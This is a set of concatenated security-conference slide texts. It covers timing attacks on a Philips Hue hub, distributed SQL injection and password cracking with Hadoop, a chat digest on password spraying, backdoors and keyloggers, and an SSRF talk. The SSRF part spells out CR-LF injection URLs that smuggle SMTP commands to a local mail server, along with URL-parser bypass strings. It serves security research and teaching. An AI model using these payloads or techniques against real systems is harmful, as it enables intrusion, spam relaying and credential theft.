● Recent-ish Kernel
Compile these from source.
In theory, this might work on OSX?
It works on Ubuntu 14.04 for me.
Nanoseconds. Ugh!
● Scapy doesn't read the pcap files
● Neither do most other packages
● Wireshark does!
● Nanosecond timestamps lose precision if you
convert them to a float()
● So we subtract a large offset, and don't work with
raw timestamps.
● Use integer Nanoseconds rather than float seconds
What is the Hue API?
● GET /api/<user token>/lights
● Basic RESTful API
● Not very smart - always returns http status 200
even when returning errors.
● User token is the only required auth
(no username, no sessions)
● Not very fast (can handle ~30req/s)
Hue Base Oddities
● Running FreeRTOS/6.0.5
● Network stack is dumber than a sack of rocks
● SSDP implementation ignores most parameters
● Each HTTP response is split into ~8 pieces
● HTTP stack ignores most incoming headers
● Ethernet Frame Check Sequence sometimes
wrong
● Noisy: Broadcasts SSDP, ARPs for OpenDNS
Statistics!
Basic Review
● What is the Null Hypothesis?
● What does it mean to reject the null hypothesis?
● What are we fundamentally trying to do here?
– We're sorting samples into groups, and trying to
identify the outlier
More Stats
● Why can't we use the t-test?
● What is the K-S test, and why does it help us
here?
● What other approaches might we use?
[a series of yet to be
completed example data
graphs]
Data Prep
● Discarding data (2 standard deviations above
the mean?)
● How to do that wrong!
● Why?
● [graph of prepped data]
Code
● In the repo now, public after the talk:
https://github.com/PaulMcMillan/2014_defcon_timing
● 3 separate but related scripts
● Don't forget to save your data for re-analysis
● Starting points for analysis, not full blown attack
tools
[brief browse through the
code]
[Demo discussion,
dissection of working or
failure. Draw some
graphs]
Tips and Tricks
Keep the socket open
(if you can)
Configure your network
card parameters properly
●use hardware timestamps
●turn off queues
●use nanosecond
timestamps (gah!)
●Turn off some offloads
Make everything Quiet
● reduce extraneous traffic to the device
● Slow loris to exclude other traffic
● don't run extra stuff on your attack machine
● Profile your victim – discard noisy periods
Do a warmup run before
starting to collect data!
Find the simplest possible
request
Avoid statistical tests that
assume your data is
normal
Gather data on all
hypothesis concurrently
Randomize the request
order
Don't overwhelm the
device
Don't forget you can stop
and brute force a token
Some code short circuits if
strings aren't the same
length.
Try both:
Fast and Noisy
Slow and Quiet
Which one works best will
vary.
Don't get fooled by your
own data!
When in doubt, take more
samples.
Questions?
http://github.com/
PaulMcMillan/
2014_defcon_timing
Repo contains updated
slides and a copy of many
useful references.
Attacking The Internet of
Things
(using time)
Paul McMillan
Are my presenter notes showing up properly?
Who am I?
Paul McMillan
Security Engineer at Nebula (I build clouds)
Security team for several prominent open source
projects (not as exciting as you think it is)
Developer outreach
Mostly Python
Like building distributed systems
Like taking theoretical vulnerabilities and making
them practical
There are many ways
to attack the
Internet of Things
You generally own the device, so physical attacks all
work:
Take it apart, read the flash memory
Disassemble the firmware from the manufacturer
Exploit shitty embedded C
Fuzzing
Logic errors
RF
Most of the standard network security errors are
present too:
Random open ports
Old and vulnerable OS/application code
Etc.
We could go on forever. However,
We're here to talk about timing attacks.
Demo
(start)
This is a Philips Hue base station. That's a zigbee
connected light. I figured they're a pretty good
example from the “internet of things that are put on
the internet for no good reason”
What is a timing attack?
What is a timing attack, anyway?
Well, at the most basic level, asking the computer to
do any operation takes time. A measurable amount
of time. A timing attack exploits this.
An attacker uses timing measurements to test
hypotheses:
def authenticate_user(user, pass):
stored_hash=get_password_hash(user):
if stored_hash:
test_hash = sha1(password)
if test_hash == stored_hash:
Return True
Else:
Return False
This is a pretty typical example of how user
authentication works (yes, I know, it has problems, I
left stuff out to keep this simple)
<talk through the code>
You'll notice that if it finds a user, it does some extra
work. In this case, that work involves calculating the
sha1 of the provided password. That's an expensive
operation.
An attacker can exploit this code to figure out which
users have accounts in the system. Obviously, this
isn't a vulnerability in all systems (some publish that
data), but it's an unintended behavior.
Many Kinds
● User Enumeration
● Blind SQL Injection
● CPU Cache attacks against crypto
– Local
– Cross-VM
● Lucky 13
● Many more...
The point here is that these all follow a common
pattern:
The attacker makes a guess about something
The computer uses that to compute
The attacker observes how long that takes (over
many samples) and infers whether their hypothesis
was correct
String Comparison
Timing Attacks
However, today we're here to talk about string
comparison timing attacks.
These are often more difficult to exploit, and usually
written off as completely hypothetical vulnerabilities
(Hopefully my demo today will help fix that
misconception)
memcmp
while (len != 0)
{
a0 = ((byte *) srcp1)[0];
b0 = ((byte *) srcp2)[0];
srcp1 += 1;
srcp2 += 1;
res = a0 - b0;
if (res != 0)
return res;
len -= 1;
}
Snippet from http://www.nongnu.org/avr-libc/
<talk through the snippet>
The key takeaway here is that it stops as soon as it
finds 2 non-matching bytes.
Unlike the previous example, we don't have to guess
an entire username at once to get our timing
difference. Instead, we just have to guess the first
character.
MASSIVE Speedup
c = character set
n = Length of string
Brute Force: c^n
Timing Attack: c * n (* x)
(x is # tries to distinguish)
If we're brute forcing an 8 character password with
16 possible characters (I like hex), we have to try a
total of 4.2 billion guesses. That's likely to be
impractical in the real world.
On the other hand, if we're conducting a timing
attack, and let's say it takes us 10000 guesses per
character to determine a timing difference, that works
out to about 1.2 million.
If you bump the length up to 10, you're looking at a
trillion for brute force, and just 1.6 million for the
timing attack.
Obviously, this is a worthwhile attack, if you can pull
it off.
Why are they interesting?
What are the drawbacks?
Why are they interesting?
- They're more "pick the lock on the front door" than
"find a backdoor"
- They don't require "bad code" (just non-security
mindful code)
- Most people don't list them among "practical"
exploits
- Commonly overlooked
What are the drawbacks?
- lots of network traffic
- really time consuming
- work best on a slow devices
- Susceptible to network noise / device contention
Let's talk about time
It's hard to get an intuitive grasp on small amounts of
time.
Let's look at some examples.
Internet SF-NY 70ms
Spinning Disk 13ms
Ram Latency 83ns
L1 cache 1ns
1 cpu cycle ~0.33ns
Numbers more or less from here:
http://duartes.org/gustavo/blog/post/what-your-compu
ter-does-while-you-wait/
Speed of light
in network cable
1 meter in ~5ns
200 meters ~1µs
Remember that 1 microsecond is the minimum
resolution recorded by the default kernel timestamps.
So... how long does each
byte of that string
comparison take?
nanoseconds
(on a modern
3Ghz machine)
And that's the catch, Ladies and Gentlemen...
What about something a
little slower?
120 Mhz STM32 processor
Zigbee to the lights
10 base T network port
The perfect device to demonstrate string comparison
timing attacks.
The comparison is still going to take nanoseconds,
but it's going to take quite a lot of them.
Image from the Philips press kit
Network timing precision
It turns out, if you want timing measurements good to
the millisecond, or so, you're set. The kernel's
networking stack works fine.
However, since the effects we're looking for are
much smaller than that, we need to work harder.
Sources of Imprecision
●Graphics drivers
●Background networking
●USB Devices
●Power saving measures
●Audio devices
●Etc.
For a first try, it makes sense to just try the basic,
default kernel packet timestamping. It turns out, it's
really noisy.
Software Timestamps
are noisy.
Let's use hardware!
It turns out this is easier now than when I started
working on this a year ago. Linux support for
hardware timestamps works out of the box in recent
distros.
Most of the results we're going to discuss in the rest
of the talk CAN be obtained without hardware
timestamp support. You just need many many more
samples.
Try and find a NIC with hardware support – they're
pretty common now. Hardware with support for PTP
(IEEE 1588) usually works.
(picture of i350 + adapter)
Since my laptop hardware doesn't seem to support
hardware timestamps, I went looking for a high-
quality source. It's always better to start with great
hardware and work your way down, than to start with
bad hardware and realize you need better.
This is the Intel i350 NIC, which supports hardware
timestamping with an 8ns resolution (the datasheet
claims). It's connected through an expresscard to
PCIe adapter, allowing me to run it from my laptop.
It is directly connected to the Hue Base Station,
since we don't want extra hardware introducing
unpredictable latency, especially for a live demo.
This is what we're doing the demo with right now.
Data Collection
●Generate repeated traffic
●TCPdump the packets
●Analyze the data
●Feed back to traffic gen
So we have our target, we have the hardware which
will allow us to carefully measure it, and we have our
chosen attack technique. What's next?
Three fairly simple scripts. The first just generates
login attempts over and over again. It takes an
existing guess at the token, and appends a random
character, then fires off the network request.
While it's doing this, a second script makes sure that
TCPDump is capturing all relevant traffic, using
hardware timstamps, at nanosecond level detail.
A third script periodically analyzes all captured data
up to this point, and determines whether to advance
the generator to a new guess.
Making things work
● Libpcap 1.5.0+
● TCPDump 4.6.0+ (released July 2, 2014)
● Recent-ish Kernel
Compile these from source.
In theory, this might work on OSX?
It works on Ubuntu 14.04 for me.
I'm going to take a slight diversion now and explain
the practical steps to get nanosecond level hardware
timestamps out of tcpdump.
Until very recently, tcpdump only supported
microsecond level timestamps. Libpcap added
support a while ago, but tcpdump didn't add it until a
couple months ago. Hardware timestamp support is
also relatively new. The upshot of all this is you need
to install tcpdump 4.6.0 and libpcap 1.5.0+.
Nanoseconds. Ugh!
● Scapy doesn't read the pcap files
● Neither do most other packages
● Wireshark does!
● Nanosecond timestamps lose precision if you
convert them to a float()
● So we subtract a large offset, and don't work with
raw timestamps.
● Use integer Nanoseconds rather than float seconds
Nanosecond timestamps turn out to be inconvenient
to work with.
For starters, very few things understand the new file
format (this will get fixed soon I hope).
Wireshark does understand pcap files with
nansecond captures, and so we use tshark as our
disector to analyse our capture file. This isn't very
efficient.
If you float() a nanosecond capture, you lose the last
couple digits. To avoid imprecision and mistakes
here, we prefer to work only in integers, and subtract
a large offset to avoid overflows.
What is the Hue API?
● GET /api/<user token>/lights
● Basic RESTful API
● Not very smart - always returns http status 200
even when returning errors.
● User token is the only required auth
(no username, no sessions)
● Not very fast (can handle ~30req/s)
Hue Base Oddities
● Running FreeRTOS/6.0.5
● Network stack is dumber than a sack of rocks
● SSDP implementation ignores most parameters
● Each HTTP response is split into ~8 pieces
● HTTP stack ignores most incoming headers
● Ethernet Frame Check Sequence sometimes
wrong
● Noisy: Broadcasts SSDP, ARPs for OpenDNS
Statistics!
(Groan) but don't worry, we're only going to cover
what you need to know
Basic Review
● What is the Null Hypothesis?
● What does it mean to reject the null hypothesis?
● What are we fundamentally trying to do here?
– We're sorting samples into groups, and trying to
identify the outlier
More Stats
● Why can't we use the t-test?
● What is the K-S test, and why does it help us
here?
● What other approaches might we use?
[a series of yet to be
completed example data
graphs]
Data Prep
● Discarding data (2 standard deviations above
the mean?)
● How to do that wrong!
● Why?
● [graph of prepped data]
Don't forget that these stats only work if your data
points are approximately aligned in time, and you
have the SAME NUMBER OF THEM!
This doesn't work at all with lopsided data sets. It's
easy to accidentally get there.
Code
● In the repo now, public after the talk:
https://github.com/PaulMcMillan/2014_defcon_timing
● 3 separate but related scripts
● Don't forget to save your data for re-analysis
● Starting points for analysis, not full blown attack
tools
[brief browse through the
code]
[Demo discussion,
dissection of working or
failure. Draw some
graphs]
Tips and Tricks
These are going to come fairly rapid-fire, but most of
them represent at least an afternoon of learning
associated with failure.
Keep the socket open
(if you can)
Configure your network
card parameters properly
●use hardware timestamps
●turn off queues
●use nanosecond
timestamps (gah!)
●Turn off some offloads
Make everything Quiet
● reduce extraneous traffic to the device
● Slow loris to exclude other traffic
● don't run extra stuff on your attack machine
● Profile your victim – discard noisy periods
Do a warmup run before
starting to collect data!
Yes, physical warmup
Find the simplest possible
request
Avoid statistical tests that
assume your data is
normal
Gather data on all
hypothesis concurrently
You really can't come back later and mix them up.
Randomize the request
order
Don't cycle repeatedly. You're more likely to hit cache
and cyclical timing weirdness.
Don't overwhelm the
device
Don't forget you can stop
and brute force a token
Some code short circuits if
strings aren't the same
length.
Try both:
Fast and Noisy
Slow and Quiet
Which one works best will
vary.
Don't get fooled by your
own data!
When in doubt, take more
samples.
Questions?
http://github.com/
PaulMcMillan/
2014_defcon_timing
Repo contains updated
slides and a copy of many
useful references. | pdf |
Conducting Massive Attacks With
Open Source Distributed Computing
By Alejandro Caceres
(@DotSlashPunk)
DEF CON 21
How to (almost) get fired from your job
Step 1: Speak at a hacker con on your open source community-focused side
project (PunkSPIDER)
- Combined distributed computing (my main area of research) with web
application fuzzing
- Was pretty cool (if I do say so myself)
Step 2: Have a friend of a high-level executive at your company stumble upon
talk at said con
Step 3: Have said friend confuse community-focused web app security side
project for a “cyber weapon” and tell executive that you’re building a cyber
weapon in your spare time.
Step 4:
DEF CON 21
Why did I just tell you that story?
• It was the inspiration for this talk – got me thinking about the
following:
– What would it take to build true distributed network attack tools?
– Where can distributed computing help the most?
– How can one simply and quickly build distributed attack tools to do
whatever it is you’re into
• We won’t judge - but don’t do anything illegal. Seriously. Please? Ah
whatever, you’re not listening anyway.
• My goal is simply to explore some of the possible answers to
these questions
DEF CON 21
Distributed Computing Today
• Great advances in distributed computing lately
– Apache Hadoop
– Google’s MapReduce papers and implementation details
• We’ve seen some great stuff come out of this
– Data Analytics
– Super fast data processing (for faster analytics)
– Counting things (analytics)
– Analyzing things (analytics)
• You might notice a trend in the above uses of distributed computing or “big data”
technologies if you’re into buzzwords (looking at you Splunk, IBM, EMC, etc. etc.
etc.)
– Spoiler: we’re mostly using it for data analytics
– This bores me
DEF CON 21
Distributed Computing In the (distant) Future
• My main “thing” is using distributed computing / ”big data”
technologies for massive attacks
– Most of my research thus far has been in application-level attacks
• I want to dive into this area and see what’s possible!
DEF CON 21
High-level idea behind distributed attacks
• Much respect for the 1337 hackers out there, working on extremely
complex low-level problems to break into things
• However, much of the time this isn’t needed. Especially on the web
application side, if you choose a big enough target (e.g. a country),
you’re going to break into things. Lots of things.
– We’ve seen the awful state of web application security in our distributed
fuzzer unleashed on the Internet. (http://punkspider.hyperiongray.com)
• <analogy> Try enough door knobs, and some of them will be open.
In many environments, lots of them will be open. Or at least have a
broken lock that you can kick in easily. </analogy>
DEF CON 21
Why Distributed Attacks?
• Often the time required to attack a target is way too long
• Longer attack times may mean more chance of being detected and stopped
• Extremely large beds of targets may be completely infeasible due to time
restrictions and coordination issues
• E.g. PunkSPIDER – our target was the entire Internet
• The Internet is a big place, it would take years to scan it properly, even just
for high level vulnerabilities
• Coordination between computing resources
– Without coordination between various computing resources, you may
end up duplicating a lot of effort and the attack may be less effective
DEF CON 21
But distributed computing sounds hard...
• It’s not! Huge advances in recent years make it really easy to get
up and running
• In this talk we’ll focus on Apache Hadoop, one of the best, and
simplest, implementations of distributed computing
DEF CON 21
Hadoop and Me (and You)
• I really like love Hadoop
• Hadoop is an implementation of the MapReduce distributed computing
concept
– You write a Map function that gets distributed across the cluster – it takes in
several key-value pairs as inputs and emits several key-value pairs as outputs
– You write a reduce function. A partitioner sorts the output from the map function
by its keys – each set of key-value pairs with common keys are sent through the
map function, which emits a final set of key-value pairs. This final set should be
the solution to the original problem you were trying to solve
• If you’re confused, it’s actually pretty simple in practice. It’s also awesome,
and easy to implement.
DEF CON 21
Using MapReduce – PunkSCAN Example
• The classic example for MapReduce is a “word count” example.
It counts words real fast, cool huh? False. This is uber boring.
– I even tried adding animated .gif flames and spinning .gif skulls to my
word count job and it was still way too boring to show you
• Let’s take a better example
– You have a list of a ton of websites, you want to see if they have
obvious vulnerabilities
• In this case, lets assume we just have the list of sites
• In PunkSPIDER our list comes from automated crawling of the Internet using
a distributed crawler
DEF CON 21
Using MapReduce PunkSCAN Example (cont.)
DEF CON 21
Using MapReduce PunkSCAN Example (cont.)
DEF CON 21
Demo Time!
• Let’s see PunkSCAN in action
• This is live production data being indexed to PunkSPIDER!
DEF CON 21
My Love Affair With MapReduce
• If you’re astute you noticed a few things in my example
– It’s written in Python
– It’s only a few lines of code
• Some additional stuff I can tell you
– As far as fuzzing goes, what I showed you is the only part of PunkSCAN
that is “distributed computing-focused” code (the rest is a pretty standard
fuzzer that I wrote and other basic python code)
– It works REALLY well – we’ve scanned over 1.5 million domains using this
code and found hundreds of thousands of vulnerabilities. It’s really stable
and very very fast
– More nodes means faster fuzzing – simple as that
DEF CON 21
What is a Hadoop and Where Can I Get One?
• Apache Hadoop is a free and open source implementation of
distributed computing with MapReduce
• It’s very easy to set up on pretty much any Linux distro (I
recommend trying it out on Kali, it works great!)
• A small cluster in the cloud can be built within a couple of hours
• Alternately you can build your own off of really old hardware
• Various other options – Amazon’s EMR provides a Hadoop-like
environment on demand
– They don’t like you hacking on Amazon’s EMR
– I got kicked off of AWS so take my advice on this with a grain of salt
DEF CON 21
Use Cases
• Now that we have the basics out of the way – it’s time to talk
about what we can do with this
• Three Examples we will be covering
– Distributed recon
– Distributed attack
– Distributed password cracking
DEF CON 21
Use Case 1: Distributed Recon
• Why distribute recon?
– Greatly speed up repetitive tasks
– Wonderful for finding a massive number of low hanging fruit
– Can make deep recon across a massive number of targets (e.g. an
entire country’s IP ranges) feasible in a short period of time)
DEF CON 21
Use Case 1: Distributed Recon
• The best example is PunkSCAN
– We use Hadoop Streaming, a Hadoop function that reads input and output from
stdout, allowing you to write code in whatever language you want (this is why
PunkSCAN was in Python)
• Heads up: Consider your problem – are you in need of CPU, Memory, or
bandwidth?
– If the former two are needed, any old cluster will do. If bandwidth, you need to
carefully plan where your nodes are from a network standpoint
– Always think before you code. You could waste time distributing something that
might not help you that much to have distributed
– In the case of PunkSCAN we did some pre-research to ensure that distributed
fuzzing would help us (fuzzing is highly CPU and memory-intensive – bandwidth
is a minor consideration – even for remote fuzzing)
DEF CON 21
How to get your own
• You can download PunkSCAN from BitBucket
– We’ll give you a link at the end of the talk
• You can write your own pretty easily:
– Pick your favorite URL fuzzing library (there’s a bunch out there)
– Grab a library that will help you abstract the process of writing a mapper
and reducer for Hadoop (we used the MRJob Python library in PunkSCAN)
– Write a mapper and reducer leveraging the libraries
– Run it across your cluster and watch it fly
• It really is that simple
– Though admittedly testing and debugging is a pain
DEF CON 21
Use Case 2: Distributed Attacks
• Why distribute exploitation?
– It’s fun
– You can conduct large-scale automated attacks in a short period of
time – owning massive targets in a short time (such as entire
countries)
• We’ll be looking at the example of automated SQL Injection
attacks by distributing everyone’s favorite automated SQLi tool,
SQLMap
DEF CON 21
Use Case 2: Distributed Attacks
• The basics
– We use SQLMap’s code as a “library” of sorts
– We pick an abstraction library for writing a MapReduce job
• In this case we picked the MRJob Python library
• We write a mapper
• We write a reducer
• We run the job
• You may already notice a pattern – it’s all about writing a MapReduce job
– To see our detailed Mapper and Reducer, please visit www.hyperiongray.com and
check out our code downloads section
DEF CON 21
Use Case 2: Distributed Attacks
• Demo (against our cloud test environment)
DEF CON 21
Use Case 2: Distributed Attacks
• Notice the simplicity of the code and the few lines of
code/customization required to run this
• In the end, we end up with a bunch of stolen databases in
Hadoops HDFS
– HDFS is a central file system that Hadoop creates – it is accessible via
any of the nodes
– How much easier can it get? We don’t even need to worry about
which node we’re on to store or retrieve data
• Now that we have all of these stolen databases, now what?
DEF CON 21
Use Case 3: Distributing Post-Exploitation Activities
• Why distribute?
• Attacking a *lot* of targets at once will leave the attacker with a ton
of extracted data
• Password hashes to crack, data to analyze and parse
• From the vulnerabilities we’ve seen in PunkSPIDER this could be a
LOT of data especially for password cracking – we need a better
solution than single node cracking
• Why not repurpose old, commodity hardware to build your own
cracking cluster?
DEF CON 21
Use Case 3: Distributing Post-Exploitation Activities
• Admittedly, this is one of the more complex tasks
– We went with Java instead of Python (for performance)
– Partitioning the job is non-trivial
• Luckily, you can just download our cracker PunkCRACK, free
and open source, and use it and not worry too much about the
internals
• However, for those of you more curious folks, you can see our
detailed Mapper and Reducer at www.hyperiongray.com in the
code downloads section.
DEF CON 21
Use Case 3: Distributing Post-Exploitation Activities
• Demo (again, against our own test data in our own
environment)
DEF CON 21
Bringing It All Together
• We’ve thoroughly enjoyed proving the concept here, but what does this
mean for you?
– Leveraging distributed computing from an offensive perspective gives you the
power to run massive attack scenarios – this lets you build custom tools to do
that using open source technology and commodity hardware
– Imagine “pen testing” an entire country – it’s entirely feasible with the tools and
concepts I’ve presented
• We think the security implications of this concept are broad – if we can
feasibly simulate a massive attack scenario, then we can better study this
and prepare for it.
DEF CON 21
Wrap-up
• Follow me on Twitter: @DotSlashPunk
– I’ll answer your questions if you are following me (personal questions
answered on a case-by-case basis…)
• See more about us and more details on this presentation at
http://www.hyperiongray.com
• See Check out PunkSPIDER at
http://punkspider.hyperiongray.com
DEF CON 21
Thanks
• Thanks to:
– Tomas
– Mark
– The SQLMap project (and everyone involved)
– The Apache Software Foundation (and the Nutch and Hadoop
community)
– And of course THANKS to all of you for coming to my talk!
– DEF CON 21 and everyone involved
DEF CON 21 | pdf |
群聊精华 2021.7.27-2021.8.1
@haya问:密码喷洒的密码,感觉字典是个大问题,大家有不错的这种强弱口令字典吗?
@wywwzjj:
https://github.com/r35tart/RW_Password
@L.N.:
https://github.com/berzerk0/Probable-Wordlists
https://github.com/kaonashi-passwords/Kaonashi
@haya:
https://github.com/L-codes/pwcrack-framework
@山顶洞小霸王
Windows下net accounts 命令可以查密码策略
@Astartes
密码喷洒可以被设备监控到吧,基本上不到最后一步不用这个,内网搜集搜集信息做个密码本加上
姓名+符合规则的弱口令。剩下的看运气了。
@大海问:cs自带的portscan扫描一个C段,段的每个ip都开启了110,25,143端口,很明显不正常,各
位前辈们有遇到过这种情况吗?
@Breezy:
25和110 我本机如果开了火绒就会扫出来
不是说 本机开了火绒我就监听到了25和110 是通过火绒出口 不管扫什么 都会有25和110端口
@Se7en问:师傅们,工作组环境在一个08r2上我smbexe登陆成功用的hash是8bxxx , lsass内存里
抓出来administrator的hash是0a5cxxxx(找不到8bxxx),而且这个机器抓到的有个用户的ntlm有三
个,这是什么情况
@skrskrt:
缓存的有可能是历史密码,正常
@L.N.:
改密码了 一直没注销 关机过
@路人甲问:师傅们,请问有无linux下比较好用的后门,主要是要简单安全还有持续化。
@tomato答:
pupy
@大海问:各位师傅你们好,晚辈请教一个概念问题,书中(c primer plus) 里说:ANSWER和try都是指
针,我的疑问: ANSWER 不是常量吗? try字符串吗?, 指针的申明不应该是 *吗? 为什么说
ANSWER和try都是指针
No. 1 / 3
@Astartes
ANSWER 近似于 static const char* ANSWER = "Grant";
你进去调调就知道了,预处理的时候 define 定义的就都被替换了。
@skrtskrt
#define ANSWER "Grant" 近似于 static const char* ANSWER = "Grant";
@L.N.
以前学c到指针的时候,老是搞不懂,后来学了内存相关知识,很多一下子就明白了,建议学指针
之前可以看点内存相关知识,我看的是深入理解 c指针
@Hanamaki
1.用!=比较两个字符串是比较首地址 2.数组名大多数时候隐式转换成指向首元素的指针类型右值
@任我飞渡问:各位大佬,windows 有没有能跨用户session下键盘钩子的办法
L.N.答:
CS是注入到指定用户的explorer.exe,然后开启键盘记录
@任我飞度:
搞定了,注入进程被杀,写个目标用户启动的计划任务。
@B1ngDa0
搞个system权限的就可以注入,system注入目标用户
@skrtskrt
dll 也可以做键盘记录,用rundll 32 去启,而且不一定要用钩子。
@山顶小霸王
dll还是exe,还有用什么去启跟键盘记录没啥必然的联系吧
或者你想表达的是可信的进程去启动
@skrtskrt
对,https://blog.csdn.net/zhou191954/article/details/43309707
No. 2 / 3
@Patrilic
https://blog.csdn.net/sinat_24229853/article/details/47046581
@lengyi
https://eyeofrablog.wordpress.com/2017/06/11/windows-keylogger-part-1-attack-on-user-la
nd/
No. 3 / 3 | pdf |
A New Era of SSRF - Exploiting URL Parser in
Trending Programming Languages!
Orange Tsai
Taiwan No.1
About Orange Tsai
The most professional red team in Taiwan
About Orange Tsai
The largest hacker conference in Taiwan
founded by chrO.ot
About Orange Tsai
Speaker - Speaker at several security conferences
HITCON, WooYun, AVTokyo
CTFer - CTFs we won champions / in finalists (as team HITCON)
DEFCON, Codegate, Boston Key Party, HITB, Seccon, 0CTF, WCTF
Bounty Hunter - Vendors I have found Remote Code Execution
Facebook, GitHub, Uber, Apple, Yahoo, Imgur
About Orange Tsai
Agenda
Introduction
Make SSRF great again
Issues that lead to SSRF-Bypass
Issues that lead to protocol smuggling
Case studies and Demos
Mitigations
What is SSRF?
Server Side Request Forgery
Bypass Firewall, Touch Intranet
Compromise Internal services
Struts2
Redis
Elastic
Protocol Smuggling in SSRF
Make SSRF more powerful
Protocols that are suitable to smuggle
HTTP based protocol
Elastic, CouchDB, Mongodb, Docker
Text-based protocol
FTP, SMTP, Redis, Memcached
Quick Fun Example
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2
httplib
requests
urllib
Quick Fun Example
Quick Fun Example
CR-LF Injection on HTTP protocol
Smuggling SMTP protocol over HTTP protocol
http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM…
>> GET /
<< 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1]
>> HELO orange.tw
Connection closed
SMTP Hates HTTP Protocol
It Seems Unexploitable
Gopher Is Good
What If There Is No Gopher Support?
HTTPS
What Won't Be Encrypted in a SSL Handshake?
Quick Fun Example
https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/
$ tcpdump -i lo -qw - tcp port 25 | xxd
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL
000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange. tw..MAI
000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM..........
00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
Quick Fun Example
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/
$ tcpdump -i lo -qw - tcp port 25 | xxd
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL
000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI
000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM..........
00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................
Quick Fun Example
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/
$ tcpdump -i lo -qw - tcp port 25 | xxd
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c
+127.0.0.1 ..HEL
000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149
O orange.tw..MAI
000001f0: 4c20 4652 4f4d
2e2e 2e0d 0a11 000b 0004 L FROM..........
00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................
Quick Fun Example
CR-LF Injection on HTTPS protocol
Exploit the Unexploitable - Smuggling SMTP over TLS SNI
https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/
$ tcpdump -i lo -qw - tcp port 25
>>
...5./.0.,.=.j.8.2.........0...+127.0.0.1
<< 500 5.5.1 Command unrecognized: ...5./.0.,.=.j.8.2..0.+127.0.0.1
>>
HELO orange.tw
<< 250 ubuntu
Hello localhost [127.0.0.1], please meet you
>>
MAIL FROM: <[email protected]>
<< 250 2.1.0 <[email protected]>... Sender ok
Make SSRF Great Again
URL Parsing Issues
It's all about the inconsistency between URL parser and requester
Why validating a URL is hard?
1.
Specification in RFC2396, RFC3986 but just SPEC
2.
WHATWG defined a contemporary implementation based on RFC but
different languages still have their own implementations
《天中記·卷五六》引《徂異記》:「沙中有一婦人,紅裳雙袒,髻鬟亂肘,
微有紅鬣,查命水工以篙擔水中,勿令傷婦人,得水偃仰,復身望查,拜手感
舞而沒。水工曰:『某在海上,未省此何物?』查曰:『此人魚也!』」
URL Parsing Issues
It's all about the inconsistency between URL parser and requester
Why validating a URL is hard?
1.
Specification in RFC2396, RFC3986 but just SPEC
2.
WHATWG defined a contemporary implementation based on RFC but
different languages still have their own implementations
URL Components(RFC 3986)
scheme
authority
path
query
fragment
foo://example.com:8042/over/there?name=bar#nose
URL Components(RFC 3986)
foo://example.com:8042/over/there?name=bar#nose
(We only care about
HTTP HTTPS)
(It's complicated)
(I don't care)
(I don't care)
scheme
authority
(It's complicated)
path
fragment
query
Big Picture
Libraries/Vulns
CR-LF Injection
URL Parsing
Path
Host
SNI
Port Injection
Host Injection
Path Injection
Python
httplib
💀
💀
💀
Python urllib
💀
💀
💀
Python urllib2
💀
💀
Ruby Net::HTTP
💀
💀
💀
Java net.URL
💀
💀
Perl LWP
💀
💀
NodeJS http
💀
💀
PHP http_wrapper
💀
💀
Wget
💀
💀
cURL
💀
💀
Consider the following PHP code
$url = 'http://' . $_GET[url];
$parsed = parse_url($url);
if ( $parsed[port] == 80 && $parsed[host] == 'google.com') {
readfile($url);
} else {
die('You Shall Not Pass');
}
Abusing URL Parsers
http://127.0.0.1:11211:80/
Abusing URL Parsers
http://127.0.0.1:11211:80/
PHP readfile
Perl LWP
PHP parse_url
Perl URI
Abusing URL Parsers
RFC3986
authority =
[ userinfo "@" ] host [ ":" port ]
port =
*DIGIT
host =
IP-literal / IPv4address / reg-name
reg-name =
*( unreserved / pct-encoded / sub-delims )
unreserved =
ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims
=
"!" / "$" / "&" / "'" / "(" / ")" /
"*" / "+" / "," / ";" / "="
Abusing URL Parsers
http://google.com#@evil.com/
Abusing URL Parsers
http://google.com#@evil.com/
PHP parse_url
PHP readfile
Abusing URL Parsers
Several programing languages suffered from this issue
cURL, PHP, Python
RFC3968 section 3.2
The authority component is preceded by a double slash ("//") and is
terminated by the next slash ("/"), question mark ("?"), or number sign
("#") character, or by the end of the URI
Abusing URL Parsers
How About cURL?
http://[email protected]:[email protected]/
Abusing URL Parsers
http://[email protected]:[email protected]/
cURL
libcurl
NodeJS
URL
Perl
URI
Go
net/url
PHP
parse_url
Ruby
addressable
Abusing URL Parsers
Abusing URL Parsers
cURL / libcurl
PHP parse_url
💀
Perl URI
💀
Ruby uri
